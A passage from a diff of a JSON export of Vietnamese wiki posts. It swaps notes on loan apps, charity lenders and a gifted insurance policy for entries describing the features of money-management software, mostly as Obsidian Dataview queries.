yaml,css…\r\nOoker — 07/23/2023 2:54 PM\r\ncái đó chưa có gọi là code đâu\r\nanh vẫn tính nó là cấp độ no code\r\nKendy — 07/23/2023 2:55 PM\r\nuh, rồi fibery tát em tiếp đây\r\nnhưng cơ bản nó lại là 1 dịp để học, dù thú thực là giờ học trong áp lực ntn ko hoàn toàn là thứ em muốn cho lắm\r\nOoker — 07/23/2023 3:02 PM\r\nnhưng mà quay lại access ko tự động phân loại được à?\r\nKendy — 07/23/2023 3:04 PM\r\ne ko chuyên access, nhưng cái thiếu của nó hình như đợt đó nó ko tạo ra được nhiều output giống excel, nghĩa là nó chỉ filter, chứ ko create nhiều commit filter\r\nnói nôm na nó giống như các view trong airtable/fibery, hay dataview query trong obsidian\r\nOoker — 07/23/2023 3:11 PM\r\ncommit filter là gì?\r\nKendy — 07/23/2023 3:13 PM\r\nnnhưng dạng các MOC hay Homepage chứa nhiều quêry ấy\r\nOoker — 07/23/2023 3:14 PM\r\ntức là như các MOC thì em ok hả?\r\nKendy — 07/23/2023 3:16 PM\r\nnhư trên sau khi filter em muốn save thì ntn ?\r\nOoker — 07/23/2023 3:17 PM\r\nnó tự save mà hả?\r\nKendy — 07/23/2023 3:17 PM\r\ný là nhiều filter khác nhau ấy\r\n\r\n[[Chương trình ghi chép thu chi cá nhân]]\r\n[[Chương trình kế toán]]\r\n", + "Toàn bộ nội dung": "Đáp ứng yêu cầu:: [[Phải thiết lập cấu hình]]\r\nLoại chương trình:: [[Chương trình kế toán]]\r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:10:00.000Z", + "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "67" }, { - "Tiêu đề": "Chương trình quản lý tiền", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/Chương trình quản lý tiền", + "Tiêu đề": "Phân loại bằng tay", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Cách phân loại/Phân loại bằng tay", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Mô tả bài đăng": "Điểm giống và khác nhau giữa các chương trình quản lý tiền. Quang cảnh và sơ đồ giữa chúng.", - "Toàn bộ nội dung": "## Mối quan hệ giữa các khái niệm\n- Nhu cầu người dùng sẽ đòi hỏi tính năng\n- Tính năng sẽ đòi hỏi yêu cầu đầu vào \n- Yêu cầu đầu vào đòi hỏi nhu cầu người dùng\n
    \n- Tính năng sẽ quyết định loại chương trình\n- Chương trình đáp ứng một tổ hợp các nhu cầu của người dùng bằng một tổ hợp các tính năng \n\n```mermaid\nflowchart LR\n\tsubgraph Người dùng\n\t\t1[\"1 Nhu cầu người dùng\"]\n\t\t2[\"2 Yêu cầu đầu vào\"]\n\tend\n\tsubgraph Sản phẩm\n\t\t3[\"3 Tính năng\"]\n\t\t4[\"4 Loại chương trình\"]\n\t\t5[\"5 Tên chương trình\"]\n\tend\n\n1-->3\n4-->5\n5-->3\n\n3-->2-- Phù hợp cho nhu cầu -->1\n1-- Phù hợp cho nhu cầu -->1\n2-- Đáp ứng yêu cầu --> 2\n3-- Đồng thời có thêm tính năng --> 3\n\n3~~~4\nstyle 1 fill:lightgreen\nstyle 3 fill:lightgreen\n```\n\n## Danh mục\n```dataview\nlist rows.file.link\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \ngroup by split(file.folder, \"/\" )[3] \n```\n\n- Có những chương trình không biết nên phân loại thế nào. Tốt nhất là liệt kê tính năng của nó\n- Khi một \"nhu cầu\" của người dùng thực ra là do không có nhu cầu thì nó nên là gì?\n- Khi một \"tính năng\" của chương trình thực ra là do không có tính năng thì nó nên là gì?\n\n", + "Toàn bộ nội dung": "Đáp ứng cho nhu cầu: `=filter(this.file.inlinks, (i) => contains(i.file.folder, \"1 Nhu cầu người dùng\"))`\r\nCác chương trình có tính năng này: `=filter(this.file.inlinks, (i) => contains(i.file.folder, \"5 Tên chương trình\"))`\r\n\r\nĐáp ứng yêu cầu:: \r\nĐồng thời có thêm tính năng::\r\n\r\nLoại chương trình:: [[Template thu chi trên Excel]]\r\nLoại chương trình:: [[Chương trình ghi chép thu chi cá nhân]]\r\nLoại chương trình:: [[Chương trình kế toán]]\r\nLoại chương trình:: [[Chương trình phân loại dữ liệu tự động]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:15:00.000Z", + "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "68" }, { - "Tiêu đề": "App vay nóng không cần điểm tín dụng", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Các dịch vụ cho vay/App vay nóng không cần điểm tín dụng/App vay nóng không cần điểm tín dụng", + "Tiêu đề": "Phân loại tự động theo mô hình ngôn ngữ lớn", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Cách phân loại/Phân loại tự động theo mô hình ngôn ngữ lớn", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Jeff chỉ là cái app để chuyển sang các app cho vay khác\nRéo gọi làm phiền liên tục. Trả xong vẫn bị gọi trong mấy ngày. Nên tốt nhất là có một sim khác \n\n```dataview\nLIST\nFROM \"📜Tài nguyên/Các dịch vụ cho vay/App vay nóng không cần điểm tín dụng\"\nWHERE file.name != this.file.name\n```\n\n```dataview\nLIST\nFROM \"⚡Hiểu biết sâu/Vay tiền/Dịch vụ cho vay khác/Vay không điểm tín dụng\"\nWHERE file.name != this.file.name\n```\n- [[Những bên cho vay lãi quá rẻ thực ra là để mình chịu làm kyc để người khác tạo tài khoản ảo bằng tên của mình]]", + "Toàn bộ nội dung": "Đáp ứng cho nhu cầu: `=filter(this.file.inlinks, (i) => contains(i.file.folder, \"1 Nhu cầu người dùng\"))`\r\nCác chương trình có tính năng này: `=filter(this.file.inlinks, (i) => contains(i.file.folder, \"5 Tên chương trình\"))`\r\n\r\nYêu cầu đầu vào:: [[Dữ liệu có văn cảnh lớn]], [[Dữ liệu có văn cảnh nhỏ]]\r\nĐồng thời có thêm tính năng:: [[Nhận diện typo]]\r\n\r\nLoại chương trình:: [[Chương trình phân loại dữ liệu tự động]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-13T10:19:00.000Z", - "Ngày cập nhật": "2024-08-27T11:02:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "69" }, { - "Tiêu đề": "Cayvang", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Các dịch vụ cho vay/App vay nóng không cần điểm tín dụng/Cayvang", + "Tiêu đề": "Phân loại tự động theo quy luật", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Cách phân loại/Phân loại tự động theo quy luật", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Loại dịch vụ:: [[App vay nóng không cần điểm tín dụng]]\n\n```yaml\nLần 1:\nLần 2:\nLần 3:\n Nhận được: 2tr5\n Lãi:\n 10 ngày: 3tr2\n 20 ngày: 3tr6\n 30 ngày: 4tr\n Gia hạn: \n Thời gian: 30 ngày\n Số tiền: 1tr\n```\n\nCái gọi là \"Số tiền đã giải ngân\" phải gọi là \"Số tiền cần thanh toán\". Nó là tiền gốc + tiền lãi mình cần trả, chứ ko phải là số tiền nó đưa mình. Cái gọi là \"Gia hạn\" là đang trả góp vào số tiền cần thanh toán đó.\n\nTrước khi \"gia hạn\": \n![](https://media.discordapp.net/attachments/953628307314855999/1276467555413786664/image.png?ex=66c9a28c&is=66c8510c&hm=ddc2a68b31e51fc75904f6f69524af8fc52837d1207914af5c91f3ba891d724f&=&format=webp&quality=lossless&width=760&height=671)\nSau khi \"gia hạn\": \n![](https://media.discordapp.net/attachments/953628307314855999/1276470340507275366/image.png?ex=66c9a524&is=66c853a4&hm=de76a53f27602ebcf9949bf8d4ad7581f7f762f3b74a8b06d10fb39a46db6512&=&format=webp&quality=lossless&width=778&height=671)\n\n[[App đen thực chất là mấy thằng trung quốc đặt sever bên Campuchia với Lào ép về cho vay]]", + "Toàn bộ nội dung": "Đáp ứng cho nhu cầu: `=filter(this.file.inlinks, (i) => contains(i.file.folder, \"1 Nhu cầu người dùng\"))`\r\nCác chương trình có tính năng này: `=filter(this.file.inlinks, (i) => contains(i.file.folder, \"5 Tên chương trình\"))`\r\n\r\nĐáp ứng yêu cầu:: \r\nĐồng thời có thêm tính năng::\r\n\r\nLoại chương trình:: [[Chương trình phân loại dữ liệu tự động]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-13T10:17:00.000Z", - "Ngày cập nhật": "2024-08-27T09:46:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "6A" }, { - "Tiêu đề": "Moneyveo", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Các dịch vụ cho vay/App vay nóng không cần điểm tín dụng/Moneyveo", + "Tiêu đề": "Có GUI", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Giao diện/Có GUI", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Loại dịch vụ:: [[App vay nóng không cần điểm tín dụng]]\n\n```yaml\nLần 1:\nLần 2:\n Nhận được: \n Lãi:\n 10 ngày: 1tr240\n 20 ngày: \n 30 ngày: 3tr20\nLần 3:\n \n```", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng::\r\nLoại chương trình:: [[Chương trình ghi chép thu chi cá nhân]], [[Template thu chi trên Excel]], [[Chương trình kế toán]]\r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-07-29T06:31:00.000Z", - "Ngày cập nhật": "2024-08-27T09:46:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "6B" }, { - "Tiêu đề": "Các dịch vụ cho vay", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Các dịch vụ cho vay/Các dịch vụ cho vay", + "Tiêu đề": "Dùng được trên CLI", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Giao diện/Dùng được trên CLI", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "## Vì người yếu thế\n- [[Quỹ Tình Thân]] \n- [[CEP]] \n- [[Ngân hàng chính sách xã hội]] \n\n## Ví trả sau\n| | Số tiền rút lần đầu | Điều kiện |\n| --------- | ------------------- | --------- |\n| Momo | 3tr | |\n| ZaloPay | | |\n| Shopee | | |\n| ShopeePay | | |\n| Lazada | | |\n\n## App cho vay\n| | Số tiền rút lần đầu | Lãi | Thời hạn |\n| ----------- | ------------------- | --- | -------- |\n| Fundiin | | | |\n| Tnex | | | |\n| Kredivo | | | |\n| EasyCredit | | | |\n| Mcredit | | | |\n| Cake | | | |\n| HDSaison | | | |\n| Home Credit | | | |\n| FE Credit | | | |\n\n- Khi bị app từ chối duyệt thì phải đợi mấy tháng mới cho nộp lại\n- Viettel Money chỉ là cái app để chuyển sang các app cho vay khác. [[Rất nhiều các công ty cho vay lấy dữ liệu từ Viettel]]\n- Vay dưới 10tr dễ được duyệt hơn\n- Home Credit bắt phải có 2 giấy tờ bổ sung\n- Tnex ko đổi đc sđt \n\n\n## Ngân hàng\n| | Số tiền rút lần đầu | Lãi | Thời hạn | Điều kiện |\n| ---- | ------------------- | --- | -------- | --------- |\n| CIMB | | | | |\nNgân hàng CIMB tạo thẻ tín dụng hạn mức 100tr, chỉ cần trả 3tr∕tháng trong mấy năm hay gì đó là đc\n[[Ngân hàng chỉ cần đất, sổ tiết kiệm hoặc ô tô, chứ mấy cái nhỏ sẽ từ chối]]\n[[Ghi chú về các app ngân hàng]]\n[[Thẻ tín dụng và ví trả sau đều là các hình thức cấp tín dụng]]\n\n## App cho vay nóng\n[[App vay nóng không cần điểm tín dụng]]\n\n## Tiệm cầm đồ\nF88 giống tiệm cầm đồ, dùng cà vẹt xe để vay\n\nThông tin khác:\n```dataview\nLIST \nFROM \"📜Tài nguyên/Vay tiền\" \nWHERE file.name!=this.file.name\n```\n\n## ⚡Hiểu biết sâu\n```dataview\nLIST rows.file.link\nFROM \"⚡Hiểu biết sâu/Vay tiền\" \nWHERE file.name!=this.file.name\ngroup by split(file.folder, \"/\")[2] \n```\n\n## Nơi thảo luận\n![](https://i.imgur.com/OtW4epu.png)\n", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng:: [[Nhập liệu được bằng file text]]\r\nĐồng thời có thêm tính năng:: [[Nhập được trên máy tính]]\r\nĐồng thời có thêm tính năng:: [[Điều khiển dễ dàng bằng bàn phím]]\r\nĐồng thời có thêm tính năng:: [[Dễ dàng thiết lập việc tự động truyền dữ liệu sang các phần mềm khác]]\r\nĐồng thời có thêm tính năng:: [[Sao chép kết quả sang chương trình khác được]]\r\nĐồng thời có thêm tính năng:: [[Dữ liệu chương trình lưu dưới dạng tập tin]]\r\n\r\nLoại chương trình:: [[Chương trình kế toán]]\r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-07-17T14:41:00.000Z", - "Ngày cập nhật": "2024-08-27T09:46:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "6C" }, { - "Tiêu đề": "TNEX", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Các dịch vụ cho vay/TNEX", + "Tiêu đề": "Có người hỗ trợ sâu", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Khác/Có người hỗ trợ sâu", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \r\ntiêu trước trả sau lãi 35%. Vay tiêu dùng 12 tháng lãi 45%\r\nCách tính lãi:\r\n$$\\frac{\\sum{\\text{số dư thực tế} ×\\text{số ngày duy trì số dư thực tế}×\\text{lãi suất}}}{365} $$\r\n[[Điểm tín dụng (CIC) là cách để các ngân hàng đánh giá khả năng trả nợ của mình]] \r\n![[Pasted image 20240619191052.png]]\r\nNguồn:: \r\n", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng::\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:10:00.000Z", + "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "6D" }, { - "Tiêu đề": "CEP", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Các dịch vụ cho vay/Vì người yếu thế/CEP", + "Tiêu đề": "Game hoá", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Khác/Game hoá", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "URL:: https://cep.org.vn\nNếu vay 20tr thì lãi 500k/tháng \nnếu khai thu nhâp 7tr, sinh hoạt phí 5tr thì đc vay tối đa 6tr trong 5 tháng\n\n| | Mục đích | Mức vay tối đa | Thời hạn tối đa | Dành cho người trong hay ngoài công đoàn? |\n| -------------------- | ------------------- | -------------- | --------------- | ----------------------------------------- |\n| Vay khẩn cấp | Bệnh tật, thiên tai | | | Cả hai |\n| Học nghề | | | | Trong |\n| Cải thiện nhà ở | | | | |\n| Hộ nghèo | | 50tr | 36 tháng | Ngoài |\n| Tăng thu nhập | | 50tr | 36 tháng | Ngoài |\n| Đầu tư hộ kinh doanh | | 100tr | 24 tháng | Ngoài |\n\n## Điều kiện\nLà thành viên công đoàn hoặc có xác nhận cư trú của địa phương.\n\nNếu không phải là thành viên công đoàn:\n- Phải là vay cho bản thân chứ không được vay cho người khác. \n- Nếu là vay kinh doanh thì cần có cửa hàng. Cửa hàng ở địa bàn nào thì vay ở đó. Lưu ý là chung cư thì không cho kinh doanh.\n- Nếu là vay hình thức khác thì cần phải đến thăm nhà mà không cần ai dắt lên. Nếu là bảo lãnh thì [[Chỉ có người thân được bảo lãnh, chứ bạn bè thì không]]\n## Liên hệ\n- Q4: 0989702610 chị An\n\n![2024 - Giới thiệu sản phẩm dịch vụ CEP dành cho Nhân dân lao động - YouTube](https://www.youtube.com/watch?v=6DSN40IRjYE)\n\n![Fetching Title#e2zg](https://www.youtube.com/watch?v=cSImIy8wKkc)\n\n![[Pasted image 20240620101103.png]]\n[[Cho mượn theo nhóm đảm bảo không bị quịt hơn]]\n", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng::\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:10:00.000Z", + "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "6E" }, { - "Tiêu đề": "Ngân hàng chính sách xã hội", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Các dịch vụ cho vay/Vì người yếu thế/Ngân hàng chính sách xã hội", + "Tiêu đề": "Là phần mềm tự do", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Khác/Là phần mềm tự do", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng:: [[Nhập được trên máy tính]]\r\nĐồng thời có thêm tính năng:: [[Dùng được trên CLI]]\r\nĐồng thời có thêm tính năng:: [[Dễ dàng thiết lập việc tự động truyền dữ liệu sang các phần mềm khác]]\r\nĐồng thời có thêm tính năng:: [[Sao chép kết quả sang chương trình khác được]]\r\nĐồng thời có thêm tính năng:: [[Dữ liệu chương trình lưu dưới dạng tập tin]]\r\nĐồng thời có thêm tính năng:: [[Điều khiển dễ dàng bằng bàn phím]]\r\nĐồng thời có thêm tính năng:: [[Miễn phí]]\r\n\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-27T06:39:00.000Z", - "Ngày cập nhật": "2024-08-27T07:10:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "6F" }, { - "Tiêu đề": "Quỹ Tình Thân", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Các dịch vụ cho vay/Vì người yếu thế/Quỹ Tình Thân", + "Tiêu đề": "Sử dụng phương pháp chi tiêu phù hợp hoàn cảnh mỗi người", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Khác/Sử dụng phương pháp chi tiêu phù hợp hoàn cảnh mỗi người", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "URL:: https://www.facebook.com/profile.php?id=100077601589557\n\nĐiều kiện:: Có trưởng nhóm bảo lãnh \nĐiều kiện:: Đến nhà kiểm tra được\nĐiều kiện:: Người có HIV, hoặc người ở khu vực Q8, Q10, Bình Quới \n\n[Chuyện kể từ Tình thân](https://nguoidothi.net.vn/chuyen-ke-tu-tinh-than-44244.html)\n\n[[Cho mượn theo nhóm đảm bảo không bị quịt hơn]]\n```yaml\nLần 1: 2tr\n```", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng::\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-07-17T14:41:00.000Z", - "Ngày cập nhật": "2024-08-27T07:10:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "6G" }, { - "Tiêu đề": "Bảo hiểm nhân thọ", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Quà tặng/Bảo hiểm nhân thọ", + "Tiêu đề": "Trả tiền để làm phân loại", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Khác/Trả tiền để làm phân loại", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Mô tả bài đăng": "Quyền lợi: ung thư, bệnh hiểm nghèo, tai nạn, tử vong và tiết kiệm dài", - "Toàn bộ nội dung": "# Tặng hợp đồng bảo hiểm nhân thọ, miễn phí năm đầu\nLý do:: [[Chạy chỉ tiêu cho nhân viên các công ty]]\n\n5-7 ngày giao hợp đồng đến nhà \n\n\n\n---\n\nThông tin hợp đồng: [[Hợp đồng bảo hiểm được tặng.png|Ảnh màn hình tài khoản]], [PDF toàn bộ hợp đồng](https://github.com/QuaCau-TheSphere/BW-ton-tai-trong-the-gioi-tu-ban/blob/main/docs/assets/attachments/fwd.pdf)\n## Quyền lợi bảo hiểm\n### Quyền lợi bảo vệ\n- Ung thư giai đoạn sau: 212.000.000 ₫\n- Thương tật toàn bộ vĩnh viễn: 2.000.000.000 ₫\n- Hỗ trợ thu nhập trong trường hợp TTTBVV: 2.000.000.000 ₫\n- Tử vong: 2.000.000.000 ₫\n- Trợ cấp nằm viện hàng ngày: 300.000 ₫\n- Trợ cấp nằm viện hàng ngày tại Phòng chăm sóc đặc biệt: 1.500.000 ₫\n- Trợ cấp chi phí Phẫu thuật: 3.000.000 ₫\n- 33 bệnh hiểm nghèo giai đoạn đầu: 150.000.000 ₫\n- 47 bệnh hiểm nghèo: 300.000.000 ₫\n- 3 bệnh ung thư phổ biến theo giới tính: 150.000.000 ₫\n- Gãy xương: Từ 6.000.000 ₫ đến 90.000.000 ₫\n- Chấn thương cơ quan nội tạng: Từ 30.000.000 ₫ đến 60.000.000 ₫\n- Hôn mê: 300.000.000 ₫\n- Bỏng độ 2 và 3 hơn 20% diện tích da: Từ 75.000.000 ₫ đến 300.000.000 ₫\n- Thương tật vĩnh viễn: Từ 15.000.000 ₫ đến 300.000.000 ₫\n- Tử vong do Tai nạn: Từ 300.000.000 ₫ đến 900.000.000 ₫\n- Quyền lợi tăng thêm: Chi trả gấp đôi quyền lợi tử vong khi Người được bảo hiểm và vợ/chồng của Người được bảo hiểm tử vong do cùng 1 tai nạn\n### Quyền lợi đầu tư\n- Tài khoản bảo hiểm: 2.821.422 ₫\n- Tài khoản đầu tư thêm: 0 ₫\n- Tài khoản hợp đồng: 2.821.422 ₫\n- Thưởng duy trì hợp đồng định kỳ: 0 ₫\n- Thưởng duy trì hợp đồng đặc biệt: 0 ₫\n\n### Quyền lợi cộng thêm\n- Sống khỏe: 400.000.000 ₫\n- Thưởng khi tham gia Hợp đồng theo nhóm: 0 ₫\n\n## Thông tin công ty\nKênh bảo hiểm: \n![Ứng dụng công nghệ thông minh nâng cao trải nghiệm Khách hàng | FWD Việt Nam - YouTube](https://youtu.be/vRmmNxQ5hFg)\n\nNgân hàng phân phối:\n![FWD x Vietcombank - Vững tin sống đầy 2020 - YouTube](https://youtu.be/JtOSw8uegVI)\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-14T05:10:00.000Z", - "Ngày cập nhật": "2024-08-28T07:36:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "6H" }, { - "Tiêu đề": "Các nhóm tặng đồ", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Quà tặng/Các nhóm tặng đồ", + "Tiêu đề": "Tạo query phức tạp được", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Khác/Tạo query phức tạp được", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- [BẠN CẦN - TÔI TẶNG (SAIGONGIVE) | Facebook](https://www.facebook.com/groups/362234617663903)\n", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng:: [[Nhập được trên máy tính]]\r\nĐồng thời có thêm tính năng:: [[Thêm được nhiều trường phân loại]]\r\nĐồng thời có thêm tính năng:: [[Xuất được kết quả ra dạng bảng tính]]\r\nĐồng thời có thêm tính năng:: \r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-14T14:27:00.000Z", + "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "6I" }, { - "Tiêu đề": "Tặng thức ăn", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Quà tặng/Tặng thức ăn", + "Tiêu đề": "Dễ dàng thiết lập việc tự động truyền dữ liệu sang các phần mềm khác", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Khả năng tích hợp/Dễ dàng thiết lập việc tự động truyền dữ liệu sang các phần mềm khác", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- [FoodShare](https://foodshare.id.vn/foods/tat-ca-thuc-pham)\n- [Foodshare Market – Siêu thị Thực phẩm chia sẻ](https://www.foodsharemarket.com/)", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng:: [[Sao chép kết quả sang chương trình khác được]]\r\nĐồng thời có thêm tính năng:: [[Dữ liệu chương trình lưu dưới dạng tập tin]]\r\nĐồng thời có thêm tính năng:: [[Dùng được trên CLI]]\r\nĐồng thời có thêm tính năng:: [[Nhập được trên máy tính]]\r\nĐồng thời có thêm tính năng:: [[Điều khiển dễ dàng bằng bàn phím]]\r\nLoại chương trình:: [[Chương trình kế toán]]\r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": 